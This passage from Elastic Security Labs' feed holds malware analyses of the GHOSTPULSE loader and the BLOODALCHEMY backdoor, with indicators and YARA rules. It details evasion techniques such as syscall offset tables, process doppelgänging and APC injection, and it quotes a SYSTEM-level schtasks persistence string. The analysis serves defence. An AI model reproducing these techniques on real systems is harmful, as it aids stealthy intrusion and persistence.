  void *field_118;
  void *field_120;
  void *field_128;
  void *kernel32_SetCurrentDirectoryW;
  void *field_138;
  void *kernel32_SetEnvironmentVariableW;
  void *kernel32_CreateProcessW;
  void *kernel32_GetFileAttributesW;
  void *msvcrt_malloc;
  void *msvcrt_realloc;
  void *msvcrt_free;
  void *ntdll_RtlHashUnicodeString;
  void *field_178;
  void *field_180;
  void *kernel32_OpenMutexA;
  void *field_190;
  void *kernel32_VirtualProtect;
  void *kernel32_FlushInstructionCache;
  void *field_1A8;
  void *ntdll_NtOpenProcessToken;
  void *ntdll_NtQueryInformationToken;
  void *ntdll_RtlWalkFrameChain;
  void *field_1C8;
  void *addr_temp_file_content;
  void *addr_decrypted_file;
};
</code></pre>
<p>Concerning NT functions, the malware reads the ntdll.dll library from disk and writes it to a dynamically allocated memory space with read, write, and execute permissions. Subsequently, it parses the loaded <code>ntdll.dll</code> library to extract the offsets of the required NT functions. These offsets are then stored within the newly built IAT structure. When the malware necessitates the execution of an NT API, it adds the API offset to the base address of <code>ntdll.dll</code> and directly invokes the API. Given that NT APIs operate at a very low level, they execute syscalls directly, which does not require the <code>ntdll.dll</code> library to be loaded in memory using the LoadLibrary API, this is done to evade userland hooks set by security products.</p>
<p>The following is the structure used by the malware to store NT API offsets:</p>
<pre><code class="language-c">struct __unaligned __declspec(align(4)) core_stage2_nt_offsets_table
{
  __int64 ntdll_module;
  int ZwCreateSection;
  int ZwMapViewOfSection;
  int ZwWriteVirtualMemory;
  int ZwProtectVirtualMemory;
  int NtSuspendThread;
  int ZwResumeThread;
  int ZwOpenProcess;
  int ZwGetContextThread;
  int NtSetContextThread;
};
</code></pre>
<p>GHOSTPULSE has the ability to establish persistence, if configured to, by generating an <code>.lnk</code> file that points to the Stage 1 binary, denoted as <code>VBoxSVC.exe</code>. To achieve this, the malware leverages COM (Component Object Model) objects as part of its technique.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image6.png" alt="Persistence executed according to the configuration flag" /></p>
<p>It extracts another sub-blob of data from the first decrypted blob of Stage 1. This data is located at a specific position in the structure. The malware then performs an XOR encryption on this sub-blob, using the result of the XOR operation between the CRC32 value of the machine's computer name and the constant value <code>0xA1B2D3B4</code>. Finally, the encrypted data is saved to a file in the user's temporary folder.
It extracts another sub-blob of data from the first decrypted blob of Stage 1. This data is located at a specific position in the structure. The malware then performs an XOR encryption on this sub-blob, using the result of the XOR operation between the CRC32 value of the machine's computer name and the constant value <code>0xA1B2D3B4</code>. Finally, the encrypted data is saved to a file in the user's temporary folder.</p>
<p>The malware then initiates a suspended child process using the executable specified in the Stage 2 configuration, which is a 32-bit <code>cmd.exe</code> in this case. It then adds an environment variable to the child process with a random name, example: <code>GFHZNIOWWLVYTESHRTGAVC</code>, pointing to the previously created temporary file.</p>
<p>Further, the malware proceeds by creating a section object and mapping a view of it to <code>mshtml.dll</code> in the child process using the <code>ZwCreateSection</code> and <code>ZwMapViewOfSection</code> APIs.</p>
<p>The legitimate <code>mshtml.dll</code> code is overwritten with the <em>WriteProcessMemory</em> API. The primary thread’s execution is then redirected to the malicious code in <code>mshtml.dll</code> with the <em>Wow64SetThreadContext</em> API as shown in the following image:</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image12.png" alt="" /></p>
<p>The parent process promptly terminates itself.</p>
<h3>Stage 3</h3>
<p>The objective of GHOSTPULSE’s Stage 3 is to load and execute the final payload in another  process. One interesting part of Stage 3 was that it overwrites its previously executed instructions with new instructions to make analysis difficult. It is also capable of establishing persistence using the same method described above. GHOSTPULSE executes NTDLL APIs using the &quot;<a href="https://www.zdnet.com/article/malware-authors-are-still-abusing-the-heavens-gate-technique/">heaven’s gate</a>&quot; technique.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image9.png" alt="" /></p>
<p>Stage 3 starts off by constructing its own Function Import Table using CRC32 as the hashing algorithm. Additionally, it has the capability to disable redirection of the file system to WOW64, achieved through the utilization of the procedure <code>Wow64FsRedirection</code>, if configured to do so.</p>
<p>Following this, Stage 3 accesses the environment variable that was set earlier, in our case <code>GFHZNIOWWLVYTESHRTGAVC</code>, retrieves the associated temporary file and proceeds to decrypt its contents.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image15.png" alt="Decrypting the temp file using the computer name and a hardcoded value" /></p>
<p>The decrypted file includes both a configuration and the ultimate payload in an encrypted format. The final payload undergoes XOR decryption using a 200-byte long key stored within the configuration. The malware then parses the PE structure of the payload with a set of functions that will indicate how the payload will be injected, for example, the type of payload (DLL or executable) architecture, etc.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image3.png" alt="Decrypting the final payload" /></p>
<p>GHOSTPULSE employs <a href="https://www.elastic.co/kr/blog/process-ghosting-a-new-executable-image-tampering-attack">Process Doppelgänging</a>, leveraging the NTFS transactions feature to inject the final payload into a new child process. The following steps illustrate the process:</p>
<ul>
<li>Calls the <code>CreateTransaction</code> API to initial a transaction</li>
<li>Creates a transaction file with a random file name in temp folder with the <code>ZwCreateFile</code> API</li>
<li>Writes the payload to the temp file using the <code>ZwWriteFile</code> API</li>
<li>Creates a section of the transaction file with <code>ZwCreateSection</code> API</li>
<li>At this point the file is not needed anymore, the malware calls the <code>RollbackTransaction</code> API to roll the transaction back</li>
<li>GHOSTPULSE creates a suspended process with the target process path taken from it's configuration, in our sample <code>1msbuild.exe1</code></li>
<li>It maps a view of the section to the process with the <code>ZwMapViewOfSection</code> API</li>
<li>It sets the child process thread instruction pointer to the entry point of the final payload with the <code>NtSetContextThread</code> API</li>
<li>Finally it resumes the thread with the <code>NtResumeThread</code> API</li>
</ul>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image8.png" alt="Functions used to execute process doppelgänging technique" /></p>
<h3>Final Payload</h3>
<p>The final payload varies from sample to sample but is typically an information stealer. We have observed SectopRAT, Rhadamanthys, Vidar, Lumma, and NetSupport as final payloads. In SectopRAT samples, the malware first reaches out to Pastebin to retrieve the command and control address. In this case, it was <code>195.201.198[.]179</code> over TCP port <code>15647</code> as shown below:</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image7.jpg" alt="" /></p>
<h2>Configuration extractor</h2>
<p>Alongside this research, the Elastic Security Research Team has provided a <a href="https://github.com/elastic/labs-releases/blob/main/tools/ghostpulse/ghostpulse_payload_extractor.py">configuration extractor</a> to allow threat researchers to continue work to discover further developments within this campaign and expand detection capabilities for our community. The extractor takes the encrypted file shipped with GHOSTPULSE as the input.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image16.png" alt="" /></p>
<h2>Detection Guidance</h2>
<p>Elastic Defend detects this threat with the following <a href="https://github.com/elastic/protections-artifacts/tree/main/behavior">behavior protection rules</a>:</p>
<ul>
<li>DNS Query to Suspicious Top Level Domain</li>
<li>Library Load of a File Written by a Signed Binary Proxy</li>
<li>Suspicious API Call from an Unsigned DLL</li>
<li>Suspicious Memory Write to a Remote Process</li>
<li>Process Creation from Modified NTDLL</li>
</ul>
<p>The following yara rule will also detect GHOSTPULSE loaders on disk:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_GhostPulse.yar">Windows.Trojan.GhostPulse</a></li>
</ul>
<h2>Observations</h2>
<p>All observables are also available for <a href="https://github.com/elastic/labs-releases/tree/main/indicators/ghostpulse">download</a> in both ECS and STIX format.</p>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td>78.24.180[.]93</td>
<td>ip-v4</td>
<td></td>
<td>Stage 0 C2 IP</td>
</tr>
<tr>
<td>manojsinghnegi[.]com</td>
<td>domain-name</td>
<td></td>
<td>Stage 0 C2 domain</td>
</tr>
<tr>
<td>manojsinghnegi[.]com/2.tar.gpg</td>
<td>url</td>
<td></td>
<td>Stage 0 C2 URL</td>
</tr>
<tr>
<td>0c01324555494c35c6bbd8babd09527bfc49a2599946f3540bb3380d7bec7a20</td>
<td>sha256</td>
<td>Chrome-x64.msix</td>
<td>Malicious MSIX</td>
</tr>
<tr>
<td>ee4c788dd4a173241b60d4830db128206dcfb68e79c68796627c6d6355c1d1b8</td>
<td>sha256</td>
<td>Brave-x64.msix</td>
<td>Malicious MSIX</td>
</tr>
<tr>
<td>4283563324c083f243cf9335662ecc9f1ae102d619302c79095240f969d9d356</td>
<td>sha256</td>
<td>Webex.msix</td>
<td>Malicious MSIX</td>
</tr>
<tr>
<td>eb2addefd7538cbd6c8eb42b70cafe82ff2a8210e885537cd94d410937681c61</td>
<td>sha256</td>
<td>new1109.ps1</td>
<td>PowerShell Downloader</td>
</tr>
<tr>
<td>49e6a11453786ef9e396a9b84aeb8632f395477abc38f1862e44427982e8c7a9</td>
<td>sha256</td>
<td>38190626900.rar</td>
<td>GHOSTPULSE tar archive</td>
</tr>
<tr>
<td>Futurity Designs Ltd</td>
<td>Code signer</td>
<td></td>
<td>Chrome-x64.msix code signer</td>
</tr>
<tr>
<td>Fodere Titanium Limited</td>
<td>Code signer</td>
<td></td>
<td>Brave-x64.msix code signer</td>
</tr>
<tr>
<td>IMPERIOUS TECHNOLOGIES LIMITED</td>
<td>Code signer</td>
<td></td>
<td>Webex.msix code signer</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<ul>
<li><a href="https://twitter.com/1ZRR4H/status/1699923793077055821">https://twitter.com/1ZRR4H/status/1699923793077055821</a></li>
<li><a href="https://www.rapid7.com/blog/post/2023/08/31/fake-update-utilizes-new-idat-loader-to-execute-stealc-and-lumma-infostealers/">https://www.rapid7.com/blog/post/2023/08/31/fake-update-utilizes-new-idat-loader-to-execute-stealc-and-lumma-infostealers/</a></li>
<li><a href="https://www.proofpoint.com/us/blog/threat-insight/are-you-sure-your-browser-date-current-landscape-fake-browser-updates">https://www.proofpoint.com/us/blog/threat-insight/are-you-sure-your-browser-date-current-landscape-fake-browser-updates</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/kr/security-labs/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/photo-edited-05@2x.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Disclosing the BLOODALCHEMY backdoor]]></title>
            <link>https://www.elastic.co/kr/security-labs/disclosing-the-bloodalchemy-backdoor</link>
            <guid>disclosing-the-bloodalchemy-backdoor</guid>
            <pubDate>Fri, 13 Oct 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[BLOODALCHEMY is a new, actively developed, backdoor that leverages a benign binary as an injection vehicle, and is a part of the REF5961 intrusion set.]]></description>
            <content:encoded><![CDATA[<h2>Preamble</h2>
<p>BLOODALCHEMY is an x86 backdoor written in C and found as shellcode injected into a signed benign process. It was discovered in our analysis and is part of the REF5961 intrusion set, which you can read about <a href="https://www.elastic.co/kr/security-labs/introducing-the-ref5961-intrusion-set">here</a>.</p>
<p>BLOODALCHEMY requires a specific loader to be run because it isn't reflexive (it doesn’t have the capability to load and execute by itself). Additionally, BLOODALCHEMY isn’t compiled as position independent (when loaded at a different base address than the preferred one the binary has to be patched to take into account the new “position”).</p>
<p>In our analysis, the signed benign process was previously sideloaded with a malicious DLL. The DLL was missing from the sample data but was likely the container and the loader of the BLOODALCHEMY shellcode.</p>
<p>We believe from our research that the malware is part of a bigger toolset and is still in active development based on its current lack of capabilities, enabled debug logging of exceptions, and the existence of test strings used for persistence service setup.</p>
<h2>Key takeaways</h2>
<ul>
<li>BLOODALCHEMY is likely a new backdoor and is still in active development</li>
<li>BLOODALCHEMY abuses a legitimate binary for loading</li>
<li>BLOODALCHEMY has multiple running modes, persistence mechanisms, and communication options</li>
</ul>
<h2>Initial execution</h2>
<p>During the initial execution phase, the adversary deployed a benign utility, <code>BrDifxapi.exe</code>, which is vulnerable to DLL side-loading. When deploying this vulnerable utility the adversary could side-load the unsigned BLOODALCHEMY loader (<code>BrLogAPI.dll</code>) and inject shellcode into the current process.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/disclosing-the-bloodalchemy-backdoor/image4.png" alt="Command-line used to execute the BLOODALCHEMY loader" /></p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/disclosing-the-bloodalchemy-backdoor/image15.png" alt="Fake BrLogApi.dll, part of BLOODALCHEMY toolset, sideloaded by BrDifxapi.exe" /></p>
<p><code>BrDifxapi.exe</code> is a binary developed by the Japanese company <a href="https://global.brother/en/gateway">Brother Industries</a> and the version we observed has a revoked signature.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/disclosing-the-bloodalchemy-backdoor/image6.png" alt="BrDifxapi.exe with revoked signature" /></p>
<p>The legitimate DLL named <code>BrLogApi.dll</code> is an unsigned DLL also by Brother Industries. BLOODALCHEMY uses the same DLL name.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/disclosing-the-bloodalchemy-backdoor/image25.jpg" alt="The legitimate BrLogApi.dll is an unsigned DLL file" /></p>
<h2>Code analysis</h2>
<h3>Data Obfuscation</h3>
<p>To hide its strings the BLOODALCHEMY malware uses a classic technique where each string is encrypted, preceded by a single-byte decryption key, and finally, all concatenated together to form what we call an encrypted blob.</p>
<p>While the strings are not null-terminated, the offset from the beginning of the blob, the string, and the size are passed as a parameter to the decryption function. Here is the encrypted blob format:</p>
<p><em>Blob = Key0 :EncryptedString0 + Key1:EncryptedString1 + ... + KeyN:EncryptedStringN</em></p>
<p>The implementation in Python of the string decryption algorithm is given below:</p>
<pre><code class="language-Python">def decrypt_bytes(encrypted_data: bytes, offset: int, size: int) -&gt; bytes:
    decrypted_size = size - 1
    decrypted_data = bytearray(decrypted_size)

    encrypted_data_ = encrypted_data[offset : offset + size]
    key = encrypted_data_[0]

    i = 0
    while i != decrypted_size:
            decrypted_data[i] = key ^ encrypted_data_[i + 1]
           key = (key + ((key &lt;&lt; ((i % 5) + 1)) | (key &gt;&gt; (7 - (i % 5))))) &amp; 0xFF
           i += 1

    return bytes(decrypted_data)
</code></pre>
<p>The strings contained in the configuration blob are encrypted using the same scheme, however the ids (or offsets) of each string are obfuscated; it adds two additional layers of obfuscation that must be resolved. Below, we can resolve additional obfuscation layers to decrypt strings from the configuration:</p>
<pre><code class="language-Python">def decrypt_configuration_string(id: int) -&gt; bytes:
        return decrypt_bytes(
                *get_configuration_encrypted_string(
                        get_configuration_dword(id)))
</code></pre>
<p>Each function is given below:</p>
<p><strong>The <code>get_configuration_dword</code> function</strong></p>
<pre><code class="language-Python">def get_configuration_dword(id: int) -&gt; int:
        b = ida_bytes.get_bytes(CONFIGURATION_VA + id, 4)
        return b[0] + (b[1] + (b[2] + (b[3] &lt;&lt; 8) &lt;&lt; 8) &lt;&lt; 8)
</code></pre>
<p><strong>The <code>get_configuration_encrypted_strng</code> function</strong></p>
<pre><code class="language-Python">def get_configuration_encrypted_string(id: int) -&gt; tuple[int, int]:
         ea = CONFIGURATION_VA + id

        v2 = 0
        i = 0

        while i &lt;= 63:
            c = ida_bytes.get_byte(ea)

            v6 = (c &amp; 127) &lt;&lt; i
            v2 = (v2 | v6) &amp; 0xFFFFFFFF

            ea += 1

            if c &gt;= 0:
                break
            
            i += 7
            return ea, v2
</code></pre>
<h3>Persistence</h3>
<p>BLOODALCHEMY maintains persistence by copying itself into its persistence folder with the path suffix <code>\Test\test.exe</code>,</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/disclosing-the-bloodalchemy-backdoor/image24.png" alt="BLOODALCHEMY folder and binary name" /></p>
<p>The root directory of the persistence folder is chosen based on its current privilege level, it can be either:</p>
<ul>
<li><code>%ProgramFiles%</code></li>
<li><code>%ProgramFiles(x86)%</code></li>
<li><code>%Appdata%</code></li>
<li><code>%LocalAppData%\Programs</code></li>
</ul>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/disclosing-the-bloodalchemy-backdoor/image10.png" alt="BLOODALCHEMY root persistence folder choice" /></p>
<p>Persistence is achieved via different methods depending on the configuration:</p>
<ul>
<li>As a service</li>
<li>As a registry key</li>
<li>As a scheduled task</li>
<li>Using <a href="https://learn.microsoft.com/en-us/windows/win32/learnwin32/what-is-a-com-interface-">COM</a> interfaces</li>
</ul>
<p>To identify the persistence mechanisms, we can use the uninstall command to observe the different ways that the malware removes persistence.</p>
<p>As a service named <code>Test</code>.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/disclosing-the-bloodalchemy-backdoor/image11.png" alt="BLOODALCHEMY deleting previously installed service" /></p>
<p>As a registry key at <code>CurrentVersion\Run</code></p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/disclosing-the-bloodalchemy-backdoor/image13.png" alt="BLOODALCHEMY deleting “CurrentVersion\Run” persistence registry key" /></p>
<p>As a scheduled task, running with SYSTEM privilege via <code>schtask.exe</code>:</p>
<pre><code>b'schtasks.exe /CREATE /SC %s /TN &quot;%s&quot; /TR &quot;\'%s\'&quot; /RU &quot;NT AUTHORITY\\SYSTEM&quot; /Fb'
</code></pre>
<p>Using the <code>TaskScheduler::ITaskService</code> COM interface. The intent of this persistence mechanism is currently unknown.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/disclosing-the-bloodalchemy-backdoor/image29.png" alt="Instantiation of the ITaskService COM interface" /></p>
<h3>Running modes</h3>
<p>The malware has different running modes depending on its configuration:</p>
<ul>
<li>Within the main or separate process thread</li>
<li>Create a Windows process and inject a shellcode into it</li>
<li>As a service</li>
</ul>
<p>The malware can either work within the main process thread.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/disclosing-the-bloodalchemy-backdoor/image5.png" alt="Capability function called within the main function" /></p>
<p>Or run in a separate thread.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/disclosing-the-bloodalchemy-backdoor/image12.png" alt="Capability function called in a new thread" /></p>
<p>Or create a Windows process from a hardcoded list and inject a shellcode passed by parameter to the entry point using the <a href="https://sevrosecurity.com/2020/04/13/process-injection-part-2-queueuserapc/">WriteProcessMemory+QueueUserAPC+ResumeThread</a> method.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/disclosing-the-bloodalchemy-backdoor/image3.png" alt="Process injection running method" /></p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/disclosing-the-bloodalchemy-backdoor/image21.png" alt="List of target binaries for process injection" /></p>
<p>The shellcode is contained in the parameters we call <code>p_interesting_data</code>. This parameter is actually a pointer to a structure containing both the malware configuration and executable binary data.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/disclosing-the-bloodalchemy-backdoor/image18.png" alt="Entrypoint prototype" /></p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/disclosing-the-bloodalchemy-backdoor/image23.png" alt="Provided shellcode copied in the remote process" /></p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/disclosing-the-bloodalchemy-backdoor/image20.png" alt="Final part of the process injection procedure" /></p>
<p>Or install and run itself as a service. In this scenario, the service name and description will be <code>Test</code> and <code>Digital Imaging System</code>:</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/disclosing-the-bloodalchemy-backdoor/image26.png" alt="Name and description strings used to install the BLOODALCHEMY service" /></p>
<p>Also when running as a service and started by the service manager the malware will masquerade itself as stopped by first setting the service status to “SERVICE_RUNNING” then setting the status to “SERVICE_STOPPED” while in fact the malware is still running.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/disclosing-the-bloodalchemy-backdoor/image30.png" alt="BLOODALCHEMY’s service entry point masquerading service status" /></p>
<h3>Communication</h3>
<p>The malware communicates using either the HTTP protocol, named pipes, or sockets.</p>
<p>When using the HTTP protocol the malware requests the following URI <code>/Inform/logger/.</code></p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/disclosing-the-bloodalchemy-backdoor/image27.png" alt="URI used to connect to C2" /></p>
<p>In this scenario, BLOODALCHEMY will try to use any proxy server found in the registry key <code>SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings</code>.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/disclosing-the-bloodalchemy-backdoor/image28.png" alt="Host proxy information gathered from registry" /></p>
<p>We did not uncover any C2 infrastructure with our sample, but the URL could look something like this: <code>https://malwa[.]re/Inform/logger</code></p>
<p>When using a named pipe, the name is randomly generated using the current PID as seed.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/disclosing-the-bloodalchemy-backdoor/image9.png" alt="Random pipe name generation seeded with current PID" /></p>
<p>While waiting for a client to connect to this named pipe the malware scans the running processes and checks that its parent process is still running, this may be to limit access to the named pipe. That said, the malware is not checking that the pipe client is the correct parent process, only that the parent process is running. This introduces flawed logic in protecting the named pipe.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/disclosing-the-bloodalchemy-backdoor/image16.png" alt="Retrieve parent PID" /></p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/disclosing-the-bloodalchemy-backdoor/image7.png" alt="Flawed check for restricting pipe access to parent process" /></p>
<p>From the malware strings and imports we know that the malware can also operate using TCP/UDP sockets.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/disclosing-the-bloodalchemy-backdoor/image17.png" alt="Usage of the socket API in one of the implementations of the “communication” interface" /></p>
<p>While we haven’t made any conclusions about their usage, we list all the protocols found in the encrypted strings.</p>
<ul>
<li>DNS://</li>
<li>HTTP://</li>
<li>HTTPS://</li>
<li>MUX://</li>
<li>UDP://</li>
<li>SMB://</li>
<li>SOCKS5://</li>
<li>SOCKS4://</li>
<li>TCP://</li>
</ul>
<p>For all protocols the data can be encrypted, <a href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-xca/94164d22-2928-4417-876e-d193766c4db6">LZNT1 compressed</a>, and/or Base64-encoded.</p>
<h3>Commands</h3>
<p>The malware only contains a few commands with actual effects:</p>
<ul>
<li>Write/overwrite the malware toolset</li>
<li>Launch its malware binary <code>Test.exe</code></li>
<li>Uninstall and terminate</li>
<li>Gather host information</li>
</ul>
<p>There are three commands that write (or overwrite) the malware tool set with the received Base64-encoded binary data:</p>
<ul>
<li>Either the malware binary (<code>Test.exe</code>)</li>
<li>the sideloaded DLL (<code>BrLogAPI.dll</code>)</li>
<li>or the main trusted binary (<code>BrDifxapi.exe</code>)</li>
</ul>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/disclosing-the-bloodalchemy-backdoor/image8.png" alt="BLOODALCHEMY tool set overwrite commands" /></p>
<p>One command that launches the <code>Test.exe</code> binary in the persistence folder.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/disclosing-the-bloodalchemy-backdoor/image19.png" alt="BLOODALCHEMY command to run the malware executable binary" /></p>
<p>The uninstall and terminate itself command will first delete all its files at specific locations then remove any persistence registry key or scheduled task, then remove installed service and finish by terminating itself.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/disclosing-the-bloodalchemy-backdoor/image14.png" alt="Command to uninstall and terminate itself" /></p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/disclosing-the-bloodalchemy-backdoor/image2.png" alt="Uninstall function" /></p>
<p>One host information gathering command: CPU, OS, display, network, etc.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/disclosing-the-bloodalchemy-backdoor/image22.png" alt="Information gathering command" /></p>
<h2>Summary</h2>
<p>BLOODALCHEMY is a backdoor shellcode containing only original code(no statically linked libraries). This code appears to be crafted by experienced malware developers.</p>
<p>The backdoor contains modular capabilities based on its configuration. These capabilities include multiple persistence, C2, and execution mechanisms.</p>
<p>While unconfirmed, the presence of so few effective commands indicates that the malware may be a subfeature of a larger intrusion set or malware package, still in development, or an extremely focused piece of malware for a specific tactical usage.</p>
<h2>BLOODALCHEMY and MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that advanced persistent threats used against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/">Process Injection</a></li>
</ul>
<h2>Malware prevention capabilities</h2>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_BloodAlchemy.yar">BLOODALCHEMY</a></li>
</ul>
<h2>YARA</h2>
<p>Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the BLOODALCHEMY malware:</p>
<pre><code class="language-yara">BLOODALCHEMY
rule Windows_Trojan_BloodAlchemy_1 {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2023-05-09&quot;
        last_modified = &quot;2023-06-13&quot;
        threat_name = &quot;Windows.Trojan.BloodAlchemy&quot;
        license = &quot;Elastic License v2&quot;
        os = &quot;windows&quot;

    strings:
        $a1 = { 55 8B EC 51 83 65 FC 00 53 56 57 BF 00 20 00 00 57 6A 40 FF 15 }
        $a2 = { 55 8B EC 81 EC 80 00 00 00 53 56 57 33 FF 8D 45 80 6A 64 57 50 89 7D E4 89 7D EC 89 7D F0 89 7D }

    condition:
        all of them
}

rule Windows_Trojan_BloodAlchemy_2 {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2023-05-09&quot;
        last_modified = &quot;2023-06-13&quot;
        threat_name = &quot;Windows.Trojan.BloodAlchemy&quot;
        license = &quot;Elastic License v2&quot;
        os = &quot;windows&quot;

    strings:
        $a1 = { 55 8B EC 83 EC 54 53 8B 5D 08 56 57 33 FF 89 55 F4 89 4D F0 BE 00 00 00 02 89 7D F8 89 7D FC 85 DB }
        $a2 = { 55 8B EC 83 EC 0C 56 57 33 C0 8D 7D F4 AB 8D 4D F4 AB AB E8 42 10 00 00 8B 7D F4 33 F6 85 FF 74 03 8B 77 08 }

    condition:
        any of them
}

rule Windows_Trojan_BloodAlchemy_3 {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2023-05-10&quot;
        last_modified = &quot;2023-06-13&quot;
        threat_name = &quot;Windows.Trojan.BloodAlchemy&quot;
        license = &quot;Elastic License v2&quot;
        os = &quot;windows&quot;

    strings:
        $a = { 55 8B EC 83 EC 38 53 56 57 8B 75 08 8D 7D F0 33 C0 33 DB AB 89 5D C8 89 5D D0 89 5D D4 AB 89 5D }

    condition:
        all of them
}

rule Windows_Trojan_BloodAlchemy_4 {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2023-05-10&quot;
        last_modified = &quot;2023-06-13&quot;
        threat_name = &quot;Windows.Trojan.BloodAlchemy&quot;
        license = &quot;Elastic License v2&quot;
        os = &quot;windows&quot;

    strings:
        $a = { 55 8B EC 83 EC 30 53 56 57 33 C0 8D 7D F0 AB 33 DB 68 02 80 00 00 6A 40 89 5D FC AB AB FF 15 28 }

    condition:
        all of them
}
</code></pre>
<h2>Observations</h2>
<p>All observables are also available for <a href="https://github.com/elastic/labs-releases/tree/main/indicators/ref5961">download</a> in both ECS and STIX format in a combined zip bundle.</p>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>e14ee3e2ce0010110c409f119d56f6151fdca64e20d902412db46406ed89009a</code></td>
<td>SHA-256</td>
<td><code>BrLogAPI.dll</code></td>
<td>BLOODALCHEMY loader</td>
</tr>
<tr>
<td><code>25268bc07b64d0d1df441eb6f4b40dc44a6af568be0657533088d3bfd2a05455</code></td>
<td>SHA-256</td>
<td>NA</td>
<td>BLOODALCHEMY payload</td>
</tr>
</tbody>
</table>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/kr/security-labs/assets/images/disclosing-the-bloodalchemy-backdoor/photo-edited-05@2x.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Introducing the REF5961 intrusion set]]></title>
            <link>https://www.elastic.co/kr/security-labs/introducing-the-ref5961-intrusion-set</link>
            <guid>introducing-the-ref5961-intrusion-set</guid>
            <pubDate>Wed, 04 Oct 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[The REF5961 intrusion set discloses three new malware families targeting ASEAN members. The threat actor leveraging this intrusion set continues to develop and mature their capabilities.]]></description>
            <content:encoded><![CDATA[<h2>Preamble</h2>
<p><strong>Updated October 11, 2023 to include links to the BLOODALCHEMY backdoor.</strong></p>
<p>Elastic Security Labs continues to monitor state-aligned activity, targeting governments and multinational government organizations in Southern and Southeastern Asia. We’ve observed a batch of new and unique capabilities within a complex government environment. This intrusion set is named REF5961.</p>
<p>In this publication, we will highlight distinctions between malware families, demonstrate relationships to known threats, describe their features, and share resources to identify or mitigate elements of an intrusion. Our intent is to help expose this ongoing activity so the community can better understand these types of threats.</p>
